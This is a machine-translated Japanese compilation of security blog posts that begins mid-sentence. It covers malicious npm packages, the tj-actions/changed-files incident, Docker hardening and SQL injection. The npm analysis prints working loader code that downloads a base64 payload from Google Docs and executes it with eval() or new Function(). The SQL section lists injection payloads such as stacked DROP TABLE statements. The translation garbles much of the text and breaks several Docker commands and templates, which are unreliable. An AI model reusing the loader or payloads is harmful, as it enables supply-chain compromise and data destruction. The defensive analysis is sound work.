). - プライベートレジストリのミラーまたはパッケージファイアウォール(Artifactory、Snyk Brokerなど)を使用して、サプライチェーンに入るものを制御する。

隠れて失敗する難読化されたマルウェア、空のペイロード、そしてnpmの悪ふざけ
2025年3月14日、私たちはnpm上で悪意のあるパッケージを検出しました。 node-facebook-messenger-api と呼ばれる。
.当初は、ありふれたマルウェアのように思えましたが、最終的な目的は何なのかは分かりませんでした。2025年4月3日に同じ脅威者が攻撃を拡大しているのを見るまで、私たちはそれ以上のことを考えませんでした。これは、この特定の攻撃者が使用したテクニックの簡単な概要であり、難読化の試みが実際にどのように彼らをさらに明白にすることに終わるかについての楽しい観察でもある。
TLDR
node-facebook-messenger-api@4.1.0
合法的なFacebookメッセンジャーのラッパーに偽装している。アクシオス
そして eval()
Googleドキュメントのリンクからペイロードを取り出そうとしたが、ファイルは空だった。zx
ライブラリに悪意のあるロジックを埋め込み、公開から数日後にトリガーすることで、検知を回避している。node-smtp-mailer@6.10.0
なりすまし ノードメーラー
同じC2ロジックと難読化で。ハイパー・タイプ
)、明らかになった。 シグネチャーパターン 攻撃とリンクしている。
はじめの一歩
すべては3月14日04:37(UTC)に、我々のシステムが不審なパッケージを警告したことから始まった。それはユーザー ビクター・ベン0825
と名乗る。 パースワールド
.を所有するユーザーのユーザー名です。 正規リポジトリ このライブラリーのために。

以下は、悪意あるコードとして検出されたものである。 node-facebook-messenger-api@4.1.0:
ファイル内の メッセンジャー
ライン 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
攻撃者はこのコードを769行の長いファイルに隠そうとしている。ここで彼らは関数を追加し、それを直接呼び出している。とてもかわいらしいが、とてもわかりやすい。ペイロードをフェッチしようとしたが、空だった。マルウェアとしてフラグを立て、次に進んだ。
数分後、攻撃者は別のバージョン4.1.1をプッシュした。唯一の変更は README.md
そして package.json
ファイルのバージョン、説明、インストール手順を変更した。私たちはこの作者を悪い作者としてマークしているため、この時点以降のパッケージは自動的にマルウェアとしてフラグが立てられました。
卑屈になろうとする
その後、3月20日16:29 UTCに、私たちのシステムは自動的にバージョンにフラグを立てました。 4.1.2
パッケージのそこで何が新しくなったかを見てみよう。最初の変更は node-Facebook-messenger-api.js、
を含んでいる:
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');
このファイルの変更点は最後の行だ。単に メッセンジャー
ファイルを要求された場合は、モジュールがインポートされたときに常に実行される。賢い!もう一つの変更は、そのファイルである、 messenger.js。
以前見られた追加コードは削除され、197行目から219行目に以下のように追加されている:
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
以下はその概要である:
- 悪意のあるコードを起動させるかどうかを決定するために、時間ベースのチェックを利用する。それは約4日後にのみ有効化される。
- を使う代わりに
アクシオス
現在はグーグルを使用している。zx
ライブラリを使用して悪意のあるペイロードを取得する。 - これは冗長モードを無効にするもので、デフォルトでもある。
- そして、悪意のあるコードを取得する。
- それをbase64デコードする
- を使用して新しいファンクションを作成します。
関数()
コンストラクタに相当します。eval()
コール。 - そして、次のように関数を呼び出します。
必要
を引数に取る。
しかし、ファイルをフェッチしようとしても、ペイロードは得られない。ただ info.txt.
を使用する。 zx
が気になる。依存関係を調べたところ、元のパッケージにはいくつかの依存関係が含まれていることに気づいた:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}
悪質なパッケージには以下のものが含まれている:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
見てごらん、依存性のハイパータイプが追加されている。とても興味深いので、あと何回かこの話をするつもりだ。
彼らはまた襲ってきた!
そして2025年4月3日06:46、新しいパッケージがユーザーによってリリースされた。 クリスター
を発表した。eパッケージ
node-smtp-mailer@6.10.0。
私たちのシステムは、悪意のあるコードが含まれている可能性があるとして、自動的にフラグを立てました。私たちはそれを見て、少し興奮しました。パッケージは nodemailer、
名前が違うだけだ。

私たちのシステムはファイルにフラグを立てた lib/smtp-pool/index.js.
攻撃者は正規のファイルの一番下、最後の モジュールエクスポート
.以下が追加された内容である:
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
我々はこのコードを知っている!4日後に実行されるようにタイムスタンプが押されている。わくわくしながらペイロードをフェッチしようとしたが、次のような空のファイルが送られてきた。 beginner.txt。
ブー!依存関係をもう一度見てみよう。 zx
.我々は、その正当性を指摘した。 ノードメーラー
パッケージには いいえ ダイレクト 依存関係
だけである。 devDependencies
.しかし、悪質なパッケージの中身はこうだ:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
このパッケージと、最初に検出したパッケージの間に類似点があるのがわかりますか?同じ依存関係リストです。正規のパッケージには依存関係がありませんが、悪意のあるパッケージには依存関係があります。攻撃者は、最初の攻撃からこの攻撃まで、依存関係の完全なリストをコピーしただけです。
興味深い依存関係
では、なぜ彼らはこれまで使っていた アクシオス
への zx
を作る HTTP
リクエスト?間違いなく発覚を避けるためだ。しかし、興味深いのは zx
は直接の依存関係ではない。その代わりに、攻撃者は開発者lukasbachによる正当なパッケージであるhyper-typesをインクルードしている。

参照したリポジトリがもう存在しないという事実のほかに、ここで注目すべき興味深いことがある。2つの 扶養家族
?誰だと思う?

もし攻撃者が実際に自分の活動を難読化しようとしていたのなら、自分だけが依存するパッケージに依存するのはかなり間抜けなことだ。
最後の言葉
これらの npm パッケージの背後にいる攻撃者は、最終的に動作するペイロードを提供することはできませんでしたが、彼らのキャンペーンは、JavaScript エコシステムを標的としたサプライチェーンの脅威の進行中の進化を強調しています。遅延実行、間接的なインポート、依存関係ハイジャックの使用は、検知メカニズムに対する意識の高まりと実験への意欲を示している。しかし、それはまた、いかにずさんな運用セキュリティと繰り返されるパターンが、依然として彼らに気づかせてしまう可能性があるかを示している。防御側としては、失敗した攻撃でさえも貴重なインテリジェンスであることを思い知らされる。すべてのアーティファクト、難読化のトリック、再利用される依存関係は、私たちがより優れた検知能力とアトリビューション能力を構築するのに役立ちます。そして最も重要なことは、継続的な監視と公開パッケージレジストリの自動化されたフラグ付けが、もはやオプションではなく、非常に重要である理由を補強することだ。

TL;DR: tj-actions/changed-files サプライチェーン・アタック
tj-actions/changed-filesのサプライチェーン攻撃について説明しよう。 TL;DR、あなたがすべきこと、何が起こったのか、さらに詳しい情報はこちらをお読みください。
TL;DR
- について tj-actions/changed-files
現在23,000以上のリポジトリで使用されているGitHub Actionが侵害され、ワークフローのログを通じて機密が流出し、数千のCIパイプラインに影響を及ぼしている。
- タグ付けされたバージョンはすべて変更されており、タグベースのピン留めは安全ではありません。公開リポジトリが最もリスクが高いが、非公開リポジトリもその公開を確認すべきである。
- 早急な対策としては、影響を受けるワークフローを特定すること、侵害されたアクションへのすべての参照を削除すること、シークレットをローテーションすること、不審なアクティビティがないかログをチェックすることなどが挙げられる。
Aikido回答 重大度(スコア100)を持つ利用方法にフラグを立てる新しいSASTルールをリリースしました。Aikido 、将来的にこの種のエクスプロイトを防ぐために、あなたのGithubアクションを自動的に固定することができます。
まず、どうすればいいのか?
の影響を受けるかどうかを確認する。 j-actions/changed-files
サプライチェーン攻撃
A) 検索 tj-アクション
コードベースの
B)このGithubクエリを使って、あなたの組織のリポジトリから、影響を受けるGitHubアクションへの参照を探します([your-org]は組織名に置き換えてください)。
使用中止 tj-actions/changed-files
できるだけ早く、侵害されたアクションへのすべての参照を削除してください。
影響を受けるパイプラインのシークレットをローテーションし、公開されたトークンが不審に使用されていないか、(サードパーティの)サービスのログをチェックしてください。
攻撃に入ろう:何が起こったのか?
を含むセキュリティ・インシデントが発生した。 tj-actions/changed-files
GitHub Actionは2025年3月中旬に確認された。攻撃者は、ワークフローのログを介してCI/CDの秘密を暴露する悪意のあるコードを導入しました。Step Securityによって最初に報告されたこのインシデントには、CVE-2025-30066が割り当てられています。
何が起きたのか、どのようにコードがプッシュされたのかについてはまだ明確になっていないが、多くの報告によると、攻撃者はtj-actions-botアカウントにリンクされたGitHub Personal Access Token (PAT)を侵害した。
事件のタイムライン
2025年3月14日以前:悪意のあるコードが影響を受けたリポジトリに影響を与え始め、公開ログに秘密が漏れる。
2025年3月14日:セキュリティ研究者が侵害を特定し、注意を喚起。
2025年3月15日GitHub Gistにホストされていた悪意のあるスクリプトは削除されました。侵害されたリポジトリは、悪意のある変更を元に戻すために一時的にオフラインにされ、その後、有害なコミットがない状態で復元されました。
2025年3月15日: 攻撃に関する声明とともにレポがオンラインに戻りました。メンテナも攻撃についてコメントしています。
直接的な脅威は対処されましたが、侵害されたアクションのキャッシュバージョンは依然としてリスクをもたらす可能性があります。機密性の高いクレデンシャルを保護するためには、予防的な緩和策が必要です。
tj-actions/changed-files攻撃の影響は?
一般的なリポジトリ tj-actions/changed-files
特に公開されているものは、パイプラインで使用されている秘密が漏れる危険性がある。これらの秘密は、脅威行為者の悪意あるコードによってワークフローのログから暴露された。外部へのデータ流出は確認されていませんが、公開リポジトリのログは悪意のある行為者によってアクセスされる可能性があります。非公開リポジトリは影響を受けにくいが、それでも暴露を評価し、影響を受けた場合は秘密をローテーションする必要がある。
公開リポジトリ:秘密を含むワークフローログが公開されるため、リスクが高い。
プライベート・リポジトリ:リスクは低いが、ワークフローのログにアクティブな秘密が公開されることは重大なリスクである。
キャッシュされたアクションのユーザー:侵害されたアクションをキャッシュしたワークフローは、キャッシュが消去されるまで危険にさらされ続ける可能性があります。
Aikido どのように役立つのか?
を発表した。 SAST新ルール のフラグを立てる。 tj-actions/changed-files
との併用 重要度 (100点)。すでにAikido使用している場合は、カバーされています。Aikido アカウントを持っていない場合は、数秒で接続し、セットアップをスキャンすることができます。
この攻撃以外にも、Aikido Githubのアクションを自動的にピン留めし、将来この種の悪用を防ぐ。
また、当社独自のマルウェア脅威フィードであるAikido Intelは、npm、pypiでのリリース後3分以内にマルウェアを検出します。
ソフトウェア・サプライチェーンを容易にし、新たなリスクや攻撃をいち早く警告します。
攻撃についてもっと知る
- ラティオのアナリスト、James Berthotyによる「tj-actions/changed-filesサプライチェーン攻撃の理解と再作成」についての解説です。Jamesはまた、あなたのセンサーをテストするために、あなた自身の環境で攻撃を再現する方法も紹介しています(注意してください)。
- 最初に攻撃を報告したStep Securityは、調査分析「Harden-Runner detection: tj-actions/changed-files action is compromised」を発表した。

脆弱性を気にする開発者のための、BSなしのDockerセキュリティ・チェックリスト
なぜここに?
Dockerのセキュリティに関する2つの質問に対する本当の答えを知りたい:
Dockerは本番環境でも安全か?
はい、違います。Dockerは名前空間とリソースの分離に依存するセキュリティモデルを使用しており、クラウドVMやベアメタルシステムから直接アプリケーションを実行するよりも、特定の攻撃からコンテナ内のプロセスをよりセキュアにします。
Dockerのセキュリティを(ひどく苦痛を伴わない方法で)向上させるにはどうすればよいでしょうか?
公式イメージの使用やホストを最新の状態に保つといった、Googleのあちこちにあるような基本的な推奨事項を飛ばして、最も一般的で深刻なDockerの脆弱性について説明します。代わりに、新しいデフォルトのDockerコンテナのデプロイメントをこれまでよりもはるかに安全にする、新しいdockerオプションやDockerfileの行を直接紹介します。

ノーBSのDockerセキュリティ・チェックリスト
コンテナ内ファイルシステムを読み取り専用にする
何が得られるのか?
攻撃者がDockerコンテナの実行環境を編集できないようにすることで、インフラに関する有益な情報を収集したり、ユーザーデータを収集したり、DOSやランサムウェア攻撃を直接行ったりできるようになります。
どのように設定するのですか?
実行時またはDocker Composeの設定内で、2つのオプションがあります。
実行時に: docker run --read-only your-app:v1.0.1
Docker Composeファイルに
サービス
webapp:
image: your-app:v1.0.1read_only: true
...
ロック権限の昇格
何が得られるのか?
setuidやsetgidを使うことで、Dockerコンテナや、コンテナ内部で悪さをする攻撃者が、新しい特権(rootレベルでも)を有効にできないようにすることができます。コンテナへのアクセスがより許可されるようになると、攻撃者はパスワードやデータベースなど、デプロイの接続部分へのキーの形で認証情報にアクセスできるようになります。
どのように設定するのですか?
もう一度、実行時またはDocker Composeの設定内で。
実行時に: docker run --security-opt=no-new-privileges your-app:v1.0.1
Docker Composeファイルに
サービスを提供する:
webapp:
image: your-app:v1.0.1
security_opt:
-no-new-privileges:true
...
コンテナ間ネットワークの分離
何が得られるのか?
デフォルトでは、Dockerはすべてのコンテナをdocker0ネットワーク経由で通信させるため、攻撃者は侵害されたコンテナから別のコンテナへと横方向に移動できる可能性がある。個別のサービス A
そして B
容器入り Y
そして Z
Dockerのセキュリティを向上させるために横方向の移動を防止しながら、ネットワークを分離することで、同じエンドユーザー・エクスペリエンスを提供します。
どのように設定するのですか?
Dockerネットワークは、実行時またはDocker Compose設定内で指定することができます。ただし、最初にネットワークを作成する必要があります:
docker network create your-isolated-network
実行時に --ネットワークオプション
n: docker run --network your-isolated-network your-app:v1.0.1
または、Docker Composeファイルの同等のオプション:
サービスを提供する:
webapp:
image: your-app:v1.0.1
networks:
- 分離されたネットワーク
...
適切な非 root ユーザーを設定する
何が得られるのか?
コンテナ内のデフォルトユーザーは ルート
uidは 0
. 別個のユーザを指定することで、攻撃者がrootのような制限なしにアクションを実行できる別のユーザに権限をエスカレートさせることを防ぎます。
どのように設定するのですか?
ビルド・プロセス中またはランタイム中にユーザーを作成します。実行時に、初めてユーザーを作成するか、あるいは ユーザー
はビルド時に設定済みである。
ビルドの過程で ドッカーファイル
:
...
RUN groupadd -r your-user
RUN useradd -r -g your-user your-user
ユーザー myuser
...
実行時に: docker run -u your-user your-app:v1.0.1
Linuxカーネルの機能を落とす
何が得られるのか?
デフォルトでは、DockerコンテナはLinuxカーネル機能の制限されたセットの使用を許可されている。Docker社の人々は、完全にセキュアにするためにこの制限されたセットを作ったと思うかもしれないが、多くの機能は互換性とシンプルさのために存在している。例えば、デフォルトのコンテナは、ファイルの所有権を任意に変更したり、ルート・ディレクトリを変更したり、プロセスのUIDを操作したり、ソケットを読んだりできる。これらの機能の一部またはすべてを削除することで、攻撃ベクトルの数を最小限に抑えることができる。
どのように設定するのですか?
実行時に能力を削除したり、新しい能力を設定したりできる。たとえば、すべてのカーネル機能を削除して、コンテナには既存のファイルの所有権を変更する機能だけを許可することができる。
docker run --cap-drop ALL --cap-add CHOWN your-app:v1.0.1
またはDocker Composeの場合:
サービス
webapp:
image: your-app:v1.0.1
cap_drop:
- すべて
cap_add:
- CHOWN
...
フォーク爆弾を防ぐ
何が得られるのか?
フォークボムは、既存のプロセスを無限に複製するDoS攻撃の一種である。まずパフォーマンスを低下させリソースを制限するため、必然的にコストが上昇し、最終的にはコンテナやホストシステムをクラッシュさせる可能性がある。いったんフォークボムが始まると、コンテナやホストを再起動する以外に止める方法はない。
どのように設定するのですか?
実行時に、コンテナが作成できるプロセス(PID)の数を制限できる。
docker run --pids-limit 99あなたのアプリ:v1.0.1
あるいはDocker Composeを使う:
サービス
webapp:
image: your-app:v1.0.1
デプロイ
制限
pids: 99
オープンソースの依存関係を監視してDockerのセキュリティを向上させる
何が得られるのか?
Dockerでデプロイするためにコンテナ化したアプリケーションは、おそらく幅広い依存関係のツリーを持っている。
どのように設定するのですか?
最も "非BS的 "な方法は、Aikido オープンソース依存性スキャンです。私たちの継続的なモニタリングは、アプリケーション内のロックファイルの存在に基づいて、12以上の言語で書かれたプロジェクトをスキャンし、脆弱性とマルウェアの概要を即座に提供します。偽陽性をフィルタリングする自動トリアージにより、Aikido 、あなたが他の多くの参考文書やGitHubの問題を読んだ後だけでなく...すぐに作業を開始できる修復アドバイスを提供します。
Aikido、Trivy、Syft、Grypeのような確立されたオープンソース・プロジェクトが大好きです。また、これらのプロジェクトを単独で使用することは、開発者にとって特に良い経験にはならないことも経験から知っています。Aikido 、これらのプロジェクトをカスタム・ルールで強化することで、ギャップを埋め、他の方法では見つけられないようなセキュリティ上の欠陥を明らかにします。様々なオープンソースのツールを連結して使うのとは異なり、Aikido 、スキャンスクリプトを構築したり、CI/CDでカスタムジョブを作成したりする必要から解放します。

Dockerのセキュリティのために信頼できるイメージのみを使用する
何が得られるのか?
Docker Content Trust (DCT)は、Docker HubのようなDockerレジストリから取り出した公式イメージに署名し、その内容と完全性を検証するシステムです。作者によって署名されたイメージのみをプルすることで、デプロイに脆弱性を生じさせるような改ざんがされていないことをより確実にすることができます。
どのように設定するのですか?
最も簡単な方法は、シェルに環境変数を設定することで、あなたや他の人が信頼できないイメージで作業するのを防ぐことができる。
exportDOCKER_CONTENT_TRUST=1
docker run ...
あるいは、Dockerを実行するたびに環境変数を設定することもできる:
docker_content_trust=1docker run ...
製造終了(EOL)ランタイムの更新
何が得られるのか?
Dockerコンテナのセキュリティに関する一般的な推奨事項の1つは、イメージと依存関係を特定のバージョンに固定することです。 最新
.理論的には、改ざんされたものであっても、新たな脆弱性をもたらす新しい画像を無意識のうちに使用することを防ぐことができる。
どのように設定するのですか?
EOLを発見し、最善の準備をするのに役立つオープンソースのプロジェクトがいくつかある。endoflife.dateプロジェクト(GitHubリポジトリ)は、複数のソースからのデータを集約し、公開APIを介して利用できるようにすることで、300以上の製品を追跡している。endoflife.dateや同様のプロジェクトにはいくつかの選択肢がある:
- アプリケーションが依存している依存関係のアップデートがないかプロジェクトを手動でチェックし、必要なアップデートのチケットや課題を作成します。
- APIから依存関係のEOL日を取得するスクリプト(Bash、Pythonなど)を書き、cronジョブのように定期的に実行する。
- 公開API、またはカスタムスクリプトをCIプラットフォームに組み込んで、EOLに近い、またはEOLに達したプロジェクトを使用するビルドを失敗させる。
開発者として、あなたの時間は貴重であり、しばしば限られていることを理解しています。そこでAikido EOLスキャン機能は、Node.jsやNginxウェブサーバのように、最も影響と露出のあるランタイムを優先的に、コードとコンテナを追跡します。いつものように、Aikidoは情報収集を自動化するだけでなく、適切な重要度を持つアラートを配信することで、ユーザを圧倒するのではなく、情報を提供します。

コンテナ・リソースの使用を制限する
何が得られるのか?
デフォルトでは、コンテナにはリソース制約がなく、ホストのスケジューラと同じだけのメモリやCPUを使用する。特定のコンテナの リソース使用量を制限することで、DoS攻撃の影響を最小限に抑えることができます。Out of Memory Exceptionによってコンテナやホストシステムがクラッシュする代わりに、進行中のDoS攻撃はエンドユーザーエクスペリエンスに悪影響を与える「だけ」になります。
どのように設定するのですか?
実行時に --メモリ
そして --CPU
オプションを使用して、それぞれメモリと CPU の使用量の上限を設定する。メモリ・オプションは、g がギガバイト、m がメガバイトの数値をとり、CPU オプションは、コンテナとそのプロセスで使用可能な専用 CPU の上限を反映する。
docker run --memory="1g"--cpus="2"あなたのアプリ:v1.0.1
これはDocker Composeでも使える:
サービス
webapp:
image: your-app:v1.0.1
deploy:
limits:
cpus: '2'
memory: 1G
...
Dockerセキュリティのための最後のコマンドとComposeオプション
今までに、あなたはかなりの数のDockerセキュリティのヒントと、それらに関連するCLIオプションや設定を見てきました。以下では、より安全なDockerコンテナのデプロイをすぐに始められるように、推奨事項を1つのコマンドや設定テンプレートにまとめました。
もちろん、非rootユーザー名、カーネル機能、リソース制限などのオプションのいくつかは、アプリケーションのニーズに応じて変更したい。
exportDOCKER_CONTENT_TRUST=1
docker run \
--read-only
--read-only--security-opt=no-new-privileges
--network your-isolated-network ¦ --cap-drop ALL
--cap-drop ALL
--cap-add CHOWN
--pids-limit 99
--memory="1g" --cpus="2" ୧--user=your-user
--ユーザー=ユーザー
... # その他のオプションはこちら
your-app:v1.0.1
ホストのシェルでdrunエイリアスを作成し、詳細を覚えていなくても呼び出せるようにするのもいいだろう。
関数 drun {
docker run
--読み取り専用
--security-opt=no-new-privileges \
--network your-isolated-network ˶ --cap-drop ALL
--cap-drop ALL
--cap-add CHOWN
--pids-limit 99
--memory="1g" --cpus="2" ୧--user=your-user
-user=your-user ୧-͈ᴗ-͈ᴗ
$1\
$2
}.
次に、オプションとイメージ名を指定して、エイリアスを次のように実行する。
もしあなたがDocker Composeを使う人であれば、同じオプションをすべて、今後作業できる新しいベースラインDocker Composeテンプレートに適応させることができます:
サービス
webapp:
image: your-app:v1.0.1
read_only: true
security_opt:
-no-new-privileges:true
networks:
- 分離されたネットワーク
cap_drop:
- すべて
cap_add:
- CHOWN
デプロイ
limits:
pids: 9
cpus: '2'
memory: 1G
... # その他のオプションはこちら
おまけ:ルートレスコンテナでDockerを動かす
Dockerを任意のシステムにインストールすると、そのデーモンはrootレベルの特権で動作します。上記のオプションをすべて有効にし、Dockerコンテナ内での権限昇格を防いだとしても、ホストシステム上のコンテナランタイムの残りの部分は依然としてルート権限を持っています。そのため、必然的に攻撃対象が広がってしまいます。
その解決策がルートレス・コンテナであり、非特権ユーザーが作成・管理できる。root権限が必要ないということは、ホスト・システムのセキュリティ問題がはるかに少ないことを意味する。
1つのオプションやコマンドでルートレス・コンテナを使う手助けができればいいのだが、そう簡単にはいかない。ルートレス・コンテナのウェブサイトには、Docker用のハウツー・ガイドを含む詳細な手順が掲載されている。
Dockerセキュリティの次は?
この経験から何かを学んだとしたら、それはコンテナ・セキュリティは長丁場の作業だということだ。Dockerやその古く、誤解されがちな従兄弟であるKubernetesのコンテナをロックダウンするための堅牢化チェックリストや深く掘り下げた記事は、いつでも読むことができる。多忙な開発スケジュールの中にセキュリティに取り組む時間を作り、影響度と重大性に基づいて段階的に改善することで、長い時間をかけて長い道のりを歩むことができます。
このような継続的なプロセスを最大限に活用し、アプリケーションのセキュリティを有意義に改善するための修正に優先順位をつけるために、次のようなものがあります。 Aikido.私たちは、"ノー・BS "開発者セキュリティ・プラットフォームのために、1,700万ドルのシリーズAを調達したばかりです。

JavaScriptによるSQLインジェクション攻撃の検知と阻止
なぜここに?
JavaScriptによるSQLインジェクション攻撃について耳にしたことはあるだろうが、実際にどのようなものなのか、そもそも心配する必要があるのか、まったくわからない。もしかしたら、それがどの程度悪いものなのか把握しようとしているかもしれない。
要するに、MySQLやPostgreSQLのようなSQLデータベースを使用してアプリケーションを構築している場合、あなたは危険にさらされているのです。開発者としては、ユーザーデータを保護するガードレールを実装し、基礎となるインフラが決して侵入されたり、探索されたり、徴用されたりしないようにする責任があります。
新しいツールはすべて、あなたを助けると言っているが、開発をより複雑にしているだけだ。
Sequelizeや TypeORMの ようなオブジェクトリレーショナルマッパー(ORM)を追加することで、MySQLやPostgreSQLのようなSQLデータベースでの作業を簡素化することはできるが、リスクを完全に回避できるわけではない。ウェブアプリケーションファイアウォール(WAF)は、ネットワークレベルでの攻撃をブロックするのに役立つが、高価なインフラと継続的なメンテナンスが必要だ。コードスキャナー(Code Scanner)は、明らかな欠陥を特定するのに役立つが、未知の未知数や潜んでいるゼロデイテクニックに対しては、ほとんど役に立たない。
SQLインジェクション攻撃がどのようなもので、どのようなリスクがあり、どのような開発ミスがSQLインジェクション攻撃を可能にしているのかを明確に説明します。そして、グローバルなHotfixのインストール方法を説明することで、お客様のアプリが安全であることを確実にお伝えします。
SQLインジェクション攻撃の例とその影響
SQLインジェクション攻撃の最も基本的な定義は、アプリがデータベースクエリを実行するために、検証もサニタイズもされていないユーザー入力を許可することで、攻撃者がSQLデータベースを読んだり、レコードを変更したり、思いのままに削除したりできるようにすることです。
いつものように、XKCDはSQLの危険性を、私たちが夢見るような暗いシナリオよりもうまく説明している:

脆弱なJavaScriptアプリはどのようなものか?
簡単な擬似コードの例から始めましょう。ユーザーが猫のデータベースを検索できる入力要素を持つJavaScriptアプリです。以下のJavaScriptコード例では、アプリは/catsパスのPOSTリクエストに応答して、リクエストボディからユーザー入力を抽出し、一致するidを持つすべての猫を返すクエリでデータベースに接続します。そして、アプリはJSONレスポンスを使って猫を表示します。
app.post("/cats", (request, response) => {
const query = `SELECT * FROM cats WHERE id = ${request.body.id}`;
connection.query(query, (err, rows) => {
if(err) throw err;
response.json({
data: rows
});
});
});
この例はSQLインジェクション攻撃の訓練を受けていない人には無害に見えるかもしれませんが、非常に脆弱です。特筆すべきは、このアプリは潜在的に危険な文字列やエンコーディング方法について、ユーザー入力を検証したりサニタイズしたりしようとせず、ユーザー入力をSQLクエリに直接連結していることです。
JavaScriptのSQL攻撃ペイロードの例
SQLインジェクションは、アプリがSQLクエリを生成する方法によって、MySQLやPostgreSQLデータベースを騙してアクションを起こさせたり、想定外のデータで応答させたりすることにかかっています。
会社情報 1=1は常に真 攻撃は、アポストロフィや引用符のようなトリックを使って、猫の表全体を返すことができる。 1=1
は確かに常に 本当だ:
- ユーザーは入力する:
ボビー・テーブル'または1='1
- データベースはSQLクエリを実行する:
SELECT * FROM Users WHERE Cat = BOBBY TABLES OR 1=1;
同様に、攻撃者は = は常に真である というのも、すべての猫を返せという攻撃だからだ。 ""=""
は常に 本当だ:
- ユーザーは入力する:
"OR ""=""
- データベースはSQLクエリを実行する:
SELECT * FROM Cats WHERE CatId ="" または ""="";
攻撃者はしばしば、データベースがインラインコメントをどのように扱うかを悪用し、コメント (/* ... */)
をクエリに入れることで、意図を難読化したり、フィルタを迂回したりすることができる。
- ユーザーは入力する:
DR/*hello world*/OP/*sneak attack*/ TABLE Cats;
- データベースはSQLクエリを実行する:
DROP TABLE Cats;
これは、攻撃者に無害な文字列で開始させ、セミコロン(;)を使ってそのステートメントを終了させ、インジェクションを含む別のステートメントを開始させるものです。攻撃者はクエリスタッキングを使って、DROP TABLEコマンドでデータベース全体を一挙に削除することがよくあります:
- ユーザーは入力する:
ボビー; DROP TABLE キャッツ--。
- アプリはSQLクエリーを構築する:
const query = "SELECT * FROM Cats WHERE CatId = " + input;
- データベースはSQLクエリを実行する:
SELECT * FROM Cats WHERE CatId = BOBBY; DROP TABLE Cats;
NoSQLインジェクション攻撃についてはどうだろうか?
NoSQLインジェクション攻撃は、アプリとユーザーデータのセキュリティにとって同様に危険だが、MongoDBのようなデータベースを使用する技術スタックにのみ影響する。SQLとNoSQLのクエリはまったく独自の構文を使用するため、一方のカテゴリーから他方のカテゴリーに変換することはできません。
SQLデータベースを使用していれば、NoSQLインジェクション攻撃のリスクはない。
基本的な方法:SQLインジェクションの脆弱性をすべて手動で修正する。
この時点では、可能性のあるインジェクションのトリックがどのようなものかにはあまり興味がなく、MySQL や PostgreSQL にあるデータをどのように保護するかに関心があるかもしれません。
- パラメータ化されたクエリを使用する:SQLにはクエリと値の実行を切断する機能があり、インジェクション攻撃からデータベースを保護します。上記のJavaScript/Node.jsの例では、SQLクエリにクエスチョンマーク(
?
).そのconnection.query()
メソッドは第2引数にパラメータを取り、インジェクション防止メソッドと同じ結果を提供する。
app.post("/cats", (request, response) => {
const query = `SELECT * FROM Cats WHERE id = ?`;
const value = request.body.id;
connection.query(query, value, (err, rows) => {
if(err) throw err;
response.json({
data: rows
});
});
});
- ユーザー入力の検証とサニタイズ:パラメータ化されたクエリは、SQLデータベースを侵入や攻撃から保護するのに役立ちますが、ユーザーが潜在的に危険な文字列をアプリケーションに入力するのを防ぐこともできます。
サニタイズとバリデーションのためのオープンソースのライブラリをアプリに追加するのも一つの方法だ。例えば バリデータ.js JavaScript/Node.jsエコシステムにおいて、ユーザーがサインアップフォームにSQLインジェクション攻撃ではなく、本物のメールアドレスを入力しようとしていることをダブルチェックする。
同じような作業を行うために、正規表現ベースのカスタムバリデータを開発することもできますが、調査や膨大な手作業によるテストなど、膨大な時間と複雑な道のりが待ち受けています。さらに、この正規表現例を本当にEメールバリデーションのために解釈できるでしょうか?const re = /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
のような文字列を防ぐのにも同じ考え方が適用される。...' OR 1-'1.
このような機会をすべて自分で調査し、潰していくこともできるが、それよりも新機能の構築に時間を費やした方がいいだろう。
- WAFやエージェントベースのセキュリティ・プラットフォームを導入する:
第一に、高価であることが多く、オンプレミスまたはクラウド上に新しいインフラを立ち上げる必要がある。第二に、ルールセットを更新するために手作業によるメンテナンスが必要になり、SQLインジェクションに対する他の手作業による介入から注意をそらすことになる。最後に、計算負荷が増えたり、分析のためにすべてのリクエストを自社のプラットフォーム経由でリダイレクトすることで、待ち時間が増え、エンドユーザー・エクスペリエンスが損なわれることがよくある。
